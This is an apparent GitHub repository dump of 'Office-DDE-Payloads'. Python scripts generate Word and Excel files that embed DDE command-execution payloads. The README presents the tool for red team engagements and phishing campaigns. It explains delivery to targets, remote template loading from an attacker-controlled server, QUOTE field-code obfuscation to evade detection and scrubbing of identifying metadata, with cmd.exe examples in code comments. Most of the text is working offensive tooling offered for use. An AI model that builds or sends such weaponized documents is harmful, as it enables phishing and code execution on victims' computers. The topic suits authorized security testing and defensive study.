├── LICENSE.md
├── README.md
├── ddeexcel.py
├── ddeword.py
├── requirements.txt
└── templates
├── payload-obfuscated.docx
├── payload.docx
├── payload.xlsx
└── template.docx
/LICENSE.md:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 Dominic Spinosa
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Office-DDE-Payloads
2 |
3 | ## Overview
4 | Collection of scripts and templates to generate Word and Excel documents embedded with the DDE, macro-less command execution technique described
5 | by [@_staaldraad](https://twitter.com/_staaldraad) and [@0x5A1F](https://twitter.com/Saif_Sherei) (blog post link in [References](#references)
6 | section below). Intended for use during sanctioned red team engagements and/or phishing campaigns.
7 |
8 | Word DDE obfuscation and evasion techniques inspired by [@_staaldraad](https://twitter.com/_staaldraad) (blog post link in [References](#references) section below).
9 |
10 | **NOTE:** *Be sure to remove personal/identifying information from the documents before hosting and sending to target (e.g., by way of the File --> Inspect Document functionality). This has already been applied to the docs in 'templates', but it's always good practice to confirm.*
11 |
12 | ## Install Dependencies
13 | pip install -r requirements.txt
14 |
15 | ## Usage (Excel)
16 | Insert a simple (unobfuscated) DDE command string into the Excel payload document:
17 |
18 | python ddeexcel.py
19 |
20 | This will generate one Excel document:
21 |
22 | *out/payload-final.xlsx*
23 | - Contains user-provided DDE payload/command string.
24 |
25 | ### Delivery
26 | By default, the user then has one standard methods of payload delivery, described below:
27 |
28 | 1. Customize/Stylize the Excel payload document and send directly to the desired target(s).
29 |
30 | ## Usage (Word)
31 | Insert a simple (unobfuscated) DDE command string into the Word payload document:
32 |
33 | python ddeword.py
34 |
35 | Insert an obfuscated DDE command string by way of the {QUOTE} field code technique into the Word payload document:
36 |
37 | python ddeword.py --obfuscate
38 |
39 | **NOTE:** *When leveraging the template doc to link/reference the payload doc (by way of the --obfuscate trigger), do not use the DDEAUTO element in place of the DDE element. This will (1) elicit three sets of prompts to the user and (2) disrupt/corrupt the first set of prompts to display "!Unexpected end of formula" and fail the execution of the DDE command string. For some reason, DDEAUTO does not play well with the updateFields value in word/settings.xml.*
40 |
41 | Both forms of usage will generate two Word documents:
42 |
43 | *out/template-final.docx*
44 | - The webSettings are configured to pull the DDE element from payload-final.docx or payload-obfuscated-final.docx, which is hosted by a server specified by the user.
45 |
46 | *out/payload-final.docx* (not obfuscated)
47 | *out/payload-obfuscated-final.docx* (obfuscated)
48 | - Contains user-provided DDE payload/command string. Hosted by user-controlled server (URL provided by user and baked into template-final.docx).
49 |
50 | ### Delivery
51 | By default, the user then has two standard methods of payload delivery, described below:
52 |
53 | 1. Host the payload Word document on a user-controlled server (pointed to by the provided URL). Customize/stylize the template document and send directly to the desired target(s). This will trigger a remote reference to the payload document, ultimately pulling and executing the DDE command string.
54 |
55 | 2. Customize/Stylize the Word payload document and send directly to the desired target(s).
56 |
57 | ## To-Do
58 | - Add a script to implement @enigma0x3's embedding Excel spreadsheet in OneNote technique
59 | - Add option to include various conditional statements intended to increase operational security (e.g., sandbox evasion)
60 | - Research obfuscation/evasion techniques for both Excel and Outlook
61 | - Add module for Outlook DDE payload generation
62 | - Create option for user to choose prepackaged DDE command strings
63 |
64 | ## References
65 | https://www.contextis.com/blog/comma-separated-vulnerabilities
66 | http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/
67 | https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
68 | https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
69 | https://staaldraad.github.io/2017/10/23/msword-field-codes/
70 | https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
71 |
72 | ## Additional Thanks
73 | [@ryHanson](https://twitter.com/ryhanson)
74 | [@SecuritySift](https://twitter.com/securitysift)
75 | [@GossiTheDog](https://twitter.com/gossithedog)
76 | [@enigma0x3](https://twitter.com/enigma0x3)
77 | [@albinowax](https://twitter.com/albinowax)
78 | [@exploresecurity](https://twitter.com/exploresecurity)
79 | [@decode141](https://twitter.com/decode141)
80 |
--------------------------------------------------------------------------------
/ddeexcel.py:
--------------------------------------------------------------------------------
1 | from builtins import input # python3 support
2 | import zipfile
3 | import argparse
4 | import os
5 | import tempfile
6 | import shutil
7 | from lxml import etree
8 |
9 | __version__ = "1.0"
10 | __author__ = "0xdeadbeefJERKY"
11 |
12 | """
13 | Overview:
14 | Leverages the macro-less DDE code execution technique (described
15 | in the blog posts listed in the References section below) to
16 | generate one malicious Excel file.
17 |
18 | Usage:
19 | Install dependencies:
20 |
21 | pip install -r requirements.txt
22 |
23 | Insert a simple (unobfuscated) DDE command string into the
24 | payload document:
25 |
26 | python ddeexcel.py
27 |
28 | This will generate one Excel file:
29 |
30 | *out/payload-final.xlsx*
31 | - Contains user-provided DDE payload/command string.
32 |
33 | References:
34 | http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/
35 | https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
36 | """
37 |
38 | def arg_parse():
39 | """Parse command-line arguments."""
40 | parser = argparse.ArgumentParser()
41 | parser.add_argument('--version', action='version', version='%(prog)s ' + __version__)
42 | results = parser.parse_args()
43 |
44 | return results
45 |
46 | def gen_payload():
47 | # Prompt user for DDE payload
48 | payload = []
49 | arg1 = input("[-] Enter DDE payload argument #1: ")
50 | arg2 = input("[-] Enter DDE payload argument #2: ")
51 | arg3 = input("[-] Enter DDE payload argument #3 (press ENTER to omit): ")
52 |
53 | payload.append(arg1)
54 | payload.append(arg2)
55 | payload.append(arg3)
56 |
57 | """
58 | # Example set of DDE arguments to form payload
59 | MSEXCEL
60 | \..\..\..\Windows\System32\cmd.exe
61 | /c calc.exe
62 | """
63 |
64 | print('[*] Selected DDE payload: {}'.format(payload[0] + "|" + payload[1] + " " + payload[2]))
65 |
66 | return payload
67 |
68 | if __name__ == "__main__":
69 | # Create 'out' directory
70 | if not os.path.exists('out'):
71 | os.makedirs('out')
72 |
73 | # Set output file name and create zipfile object
74 | payload_out = "payload-final.xlsx"
75 | zfpay = zipfile.ZipFile('templates/payload.xlsx')
76 |
77 | payload = gen_payload()
78 |
79 | ddeService = payload[0]
80 | ddeTopic = payload[1] + " " + payload[2]
81 |
82 | # Define XML namespace
83 | excel_schema = "{http://schemas.openxmlformats.org/spreadsheetml/2006/main}"
84 |
85 | # Edit payload xl/externalLinks/externalLink1.xml to insert DDE payload
86 | docxml = zfpay.read('xl/externalLinks/externalLink1.xml')
87 | doctree = etree.fromstring(docxml)
88 |
89 | # Find 'externalLink' XML element and change DDE attributes (ddeService and ddeTopic) to DDE payload
90 | print('[*] Inserting DDE payload into {}/xl/externalLinks/externalLink1.xml...'.format(payload_out))
91 | for node in doctree.iter(tag=etree.Element):
92 | if "ddeLink" in node.tag:
93 | node.attrib['ddeService'] = ddeService
94 | node.attrib['ddeTopic'] = ddeTopic
95 |
96 | # Create temp directory and extract payload.xlsx file to it
97 | tmp_dir_pay = tempfile.mkdtemp()
98 | zfpay.extractall(tmp_dir_pay)
99 |
100 | # Write modified xl/externalLinks/externalLink1.xml to temp directory for payload.xlsxdocx
101 | with open(os.path.join(tmp_dir_pay,'xl/externalLinks/externalLink1.xml'), 'w') as f:
102 | xmlstr = etree.tostring(doctree)
103 | f.write(xmlstr.decode())
104 |
105 | # Get a list of all the files in the original
106 | filenames_pay = zfpay.namelist()
107 |
108 | # Now, create the new zip file and add all the files into the archive
109 | zfcopypay = 'out/' + payload_out
110 |
111 | with zipfile.ZipFile(zfcopypay, "w") as doc:
112 | for filename in filenames_pay:
113 | doc.write(os.path.join(tmp_dir_pay,filename), filename)
114 |
115 | # Remove temporary directories
116 | shutil.rmtree(tmp_dir_pay)
117 |
118 | print('[*] Payload generation complete! Delivery methods below:\n\t1. Send {} directly to your target(s).'.format(payload_out))
119 |
--------------------------------------------------------------------------------
/ddeword.py:
--------------------------------------------------------------------------------
1 | from builtins import input # python3 support
2 | import zipfile
3 | import argparse
4 | import os
5 | import tempfile
6 | import shutil
7 | from lxml import etree
8 |
9 | __version__ = "1.1"
10 | __author__ = "0xdeadbeefJERKY"
11 |
12 | """
13 | Overview:
14 | Leverages the macro-less DDE code execution technique described
15 | by @_staaldraad and @0x5A1F (blog post link in References
16 | section below) to generate two malicious Word documents:
17 |
18 | Usage:
19 | Install dependencies:
20 |
21 | pip install -r requirements.txt
22 |
23 | Insert a simple (unobfuscated) DDE command string into the
24 | payload document:
25 |
26 | python ddeword.py
27 |
28 | Insert an obfuscated DDE command string by way of the {QUOTE}
29 | field code technique into the payload document:
30 |
31 | python ddeword.py --obfuscate
32 |
33 | Both forms of usage will generate two Word documents:
34 |
35 | *out/template-final.docx*
36 | - The webSettings are configured to pull the DDE element from
37 | payload-final.docx or payload-obfuscated-final.docx, which
38 | is hosted by a server specified by the user.
39 |
40 | *out/payload-final.docx* (not obfuscated)
41 | *out/payload-obfuscated-final.docx* (obfuscated)
42 | - Contains user-provided DDE payload/command string. Hosted by
43 | user-controlled server (URL provided by user and baked into
44 | template-final.docx).
45 |
46 | Obfuscation and evasion techniques inspired by @_staaldraad
47 | (blog post link in References section below).
48 |
49 | References:
50 | https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
51 | https://staaldraad.github.io/2017/10/23/msword-field-codes/
52 |
53 | Additional Thanks:
54 | @ryHanson
55 | @SecuritySift
56 | @GossiTheDog
57 | """
58 |
59 | def arg_parse():
60 | """Parse command-line arguments."""
61 | parser = argparse.ArgumentParser()
62 | parser.add_argument('--obfuscate', action='store_true', dest='obfuscate', default=False, help='Enable {QUOTE} field code obfuscation')
63 | parser.add_argument('--version', action='version', version='%(prog)s ' + __version__)
64 | results = parser.parse_args()
65 |
66 | return results.obfuscate
67 |
68 | def obfuscate_dde(payload):
69 | """Obfuscate DDE payload using {QUOTE} field code."""
70 | out = " QUOTE "
71 |
72 | for c in payload:
73 | out += (" %s"%ord(c))
74 |
75 | return out
76 |
77 | def gen_payload(obfuscate):
78 | # Prompt user for DDE payload
79 | payload = []
80 | arg1 = input("[-] Enter DDE payload argument #1: ")
81 | arg2 = input("[-] Enter DDE payload argument #2: ")
82 | arg3 = input("[-] Enter DDE payload argument #3 (press ENTER to omit): ")
83 |
84 | payload.append('DDE')
85 | payload.append(arg1)
86 | payload.append(arg2)
87 | payload.append(arg3)
88 |
89 | """
90 | # Example set of DDE arguments to form payload
91 | C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe
92 | /c calc.exe
93 | for security reasons
94 | """
95 |
96 | # Obfuscate provided DDE payload (if enabled)
97 | if obfuscate:
98 | print("[*] Converting DDE payload using {QUOTE} field code...")
99 | obfusc_payload = []
100 | obfusc_payload.append(obfuscate_dde(payload[1].replace('\\\\','\\')))
101 | obfusc_payload.append(obfuscate_dde(payload[2].replace('\\\\','\\')))
102 | obfusc_payload.append(obfuscate_dde(payload[3].replace('\\\\','\\')))
103 | else:
104 | payload[1] = '"' + payload[1] + '"'
105 | payload[2] = '"' + payload[2] + '"'
106 | payload[3] = '"' + payload[3] + '"'
107 |
108 | payload = " ".join(payload)
109 | print('[*] Selected DDE payload: {}'.format(payload))
110 |
111 | if obfuscate:
112 | print('[*] Obfuscated DDE payload: {}'.format(obfusc_payload))
113 |
114 | # Prompt user for server hosting payload Office document (referenced by 'template')
115 | # e.g., http://localhost:8000
116 | targetsvr = input("[-] Enter server URL (hosting payload Word file): ")
117 | if obfuscate:
118 | targetsvr = targetsvr + '/payload-obfuscated-final.docx'
119 | else:
120 | targetsvr = targetsvr + '/payload-final.docx'
121 |
122 | if obfuscate:
123 | return obfusc_payload, targetsvr
124 | else:
125 | return payload, targetsvr
126 |
127 | if __name__ == "__main__":
128 | # Parse arguments from command-line
129 | obfuscate = arg_parse()
130 |
131 | # Create 'out' directory
132 | if not os.path.exists('out'):
133 | os.makedirs('out')
134 |
135 | # Set output file names and create zipfile objects for each
136 | if obfuscate:
137 | payload_out = "payload-obfuscated-final.docx"
138 | zfpay = zipfile.ZipFile('templates/payload-obfuscated.docx')
139 | else:
140 | payload_out = "payload-final.docx"
141 | zfpay = zipfile.ZipFile('templates/payload.docx')
142 | template_out = "template-final.docx"
143 | zftemplate = zipfile.ZipFile('templates/template.docx')
144 |
145 | obfusc_payload, targetsvr = gen_payload(obfuscate)
146 |
147 | # Define frameset XML code (to be inserted in template.docx/word/webSettings.xml)
148 | frameset = ''
149 | frameset = etree.fromstring(frameset)
150 |
151 | # Define XML namespace
152 | word_schema = "{http://schemas.openxmlformats.org/wordprocessingml/2006/main}"
153 |
154 | # Edit payload document.xml to insert DDE payload
155 | docxml = zfpay.read('word/document.xml')
156 | doctree = etree.fromstring(docxml)
157 | # Edit template webSettings to insert frameset into webSettings.xml and
158 | # webSettings.xml.rels file
159 | webxml = zftemplate.read('word/webSettings.xml')
160 | webtree = etree.fromstring(webxml)
161 | # Edit payload settings.xml to insert updateFields element
162 | settingxml = zfpay.read('word/settings.xml')
163 | settingtree = etree.fromstring(settingxml)
164 |
165 | updatefields = ''
166 | updatefields = etree.fromstring(updatefields)
167 |
168 | # Find 'settings' XML element in word/settings.xml and insert element to
169 | # automatically update fields within the document
170 | for node in settingtree.iter(tag=etree.Element):
171 | if node.tag == word_schema + "settings":
172 | print('[*] Inserting updateFields XML element into {}/word/settings.xml...'.format(payload_out))
173 | node.insert(0,updatefields)
174 |
175 | # Find 'webSettings' XML element and insert frameset as child element
176 | for node in webtree.iter(tag=etree.Element):
177 | if node.tag == word_schema + "webSettings":
178 | print('[*] Inserting frameset XML element into {}/word/webSettings.xml...'.format(template_out))
179 | node.insert(0,frameset)
180 |
181 | # Formulate XML elements necessary to insert nested, obfuscated DDE payload into
182 | # payload.docx/word/document.xml (for obfuscated payloads only)
183 | instrtext = '''
184 | SET c " " SET d " " SET e " " DDE
185 | '''
186 |
187 | # Find 'instrText' XML element and change value to DDE payload
188 | print('[*] Inserting DDE payload into {}/word/document.xml...'.format(payload_out))
189 | if obfuscate:
190 | for node in doctree.iter(tag=etree.Element):
191 | if node.tag == word_schema + "document":
192 | instrtext = etree.fromstring(instrtext)
193 | node.insert(0, instrtext)
194 | else:
195 | for node in doctree.iter(tag=etree.Element):
196 | if node.tag == word_schema + "instrText":
197 | node.text = obfusc_payload
198 |
199 | # Create temp directories and extract both payload.docx and template.docx files to them
200 | tmp_dir_pay = tempfile.mkdtemp()
201 | tmp_dir_template = tempfile.mkdtemp()
202 | zfpay.extractall(tmp_dir_pay)
203 | zftemplate.extractall(tmp_dir_template)
204 |
205 | # Write modified settings.xml to temp directory for payload.docx
206 | with open(os.path.join(tmp_dir_pay,'word/settings.xml'), 'w') as f:
207 | xmlstr = etree.tostring(settingtree)
208 | f.write(xmlstr.decode())
209 |
210 | # Write modified webSettings.xml to temp directory for template.docx
211 | with open(os.path.join(tmp_dir_template,'word/webSettings.xml'), 'w') as f:
212 | xmlstr = etree.tostring(webtree)
213 | f.write(xmlstr.decode())
214 |
215 | # Create word/_rels/webSettings.xml.rels file and insert Relationships XML element
216 | websettingsrels = ''
217 | websettingsrels = etree.fromstring(websettingsrels)
218 |
219 | with open(os.path.join(tmp_dir_template,'word/_rels/webSettings.xml.rels'), 'w') as f:
220 | xmlstr = etree.tostring(websettingsrels)
221 | f.write(xmlstr.decode())
222 |
223 | # Write modified word/document.xml to temp directory for payload.docx
224 | with open(os.path.join(tmp_dir_pay,'word/document.xml'), 'w') as f:
225 | xmlstr = etree.tostring(doctree)
226 | f.write(xmlstr.decode())
227 |
228 | # Get a list of all the files in the original
229 | filenames_pay = zfpay.namelist()
230 | filenames_template = zftemplate.namelist()
231 |
232 | # Now, create the new zip file and add all the files into the archive
233 | zfcopypay = 'out/' + payload_out
234 | zfcopytemplate = 'out/' + template_out
235 |
236 | with zipfile.ZipFile(zfcopypay, "w") as doc:
237 | for filename in filenames_pay:
238 | doc.write(os.path.join(tmp_dir_pay,filename), filename)
239 |
240 | with zipfile.ZipFile(zfcopytemplate, "w") as doc:
241 | for filename in filenames_pay:
242 | doc.write(os.path.join(tmp_dir_template,filename), filename)
243 | # Write webSettings.xml.rels file separately, as it was not included
244 | # in the original ZIP file listing
245 | doc.write(os.path.join(tmp_dir_template,"word/_rels/webSettings.xml.rels"), "word/_rels/webSettings.xml.rels")
246 |
247 | # Remove temporary directories
248 | shutil.rmtree(tmp_dir_pay)
249 | shutil.rmtree(tmp_dir_template)
250 |
251 | print('[*] Payload generation complete! Delivery methods below:\n\t1. Host {} at {} and send {} to your target(s).\n\t2. Send {} directly to your target(s).'.format(payload_out, targetsvr, template_out, payload_out))
252 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | future==0.16.0
2 | lxml==4.6.3
3 |
--------------------------------------------------------------------------------
/templates/payload-obfuscated.docx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xdeadbeefJERKY/Office-DDE-Payloads/53291f9e0245d3ad291183aaf8c44cc76604f13d/templates/payload-obfuscated.docx
--------------------------------------------------------------------------------
/templates/payload.docx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xdeadbeefJERKY/Office-DDE-Payloads/53291f9e0245d3ad291183aaf8c44cc76604f13d/templates/payload.docx
--------------------------------------------------------------------------------
/templates/payload.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xdeadbeefJERKY/Office-DDE-Payloads/53291f9e0245d3ad291183aaf8c44cc76604f13d/templates/payload.xlsx
--------------------------------------------------------------------------------
/templates/template.docx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xdeadbeefJERKY/Office-DDE-Payloads/53291f9e0245d3ad291183aaf8c44cc76604f13d/templates/template.docx
--------------------------------------------------------------------------------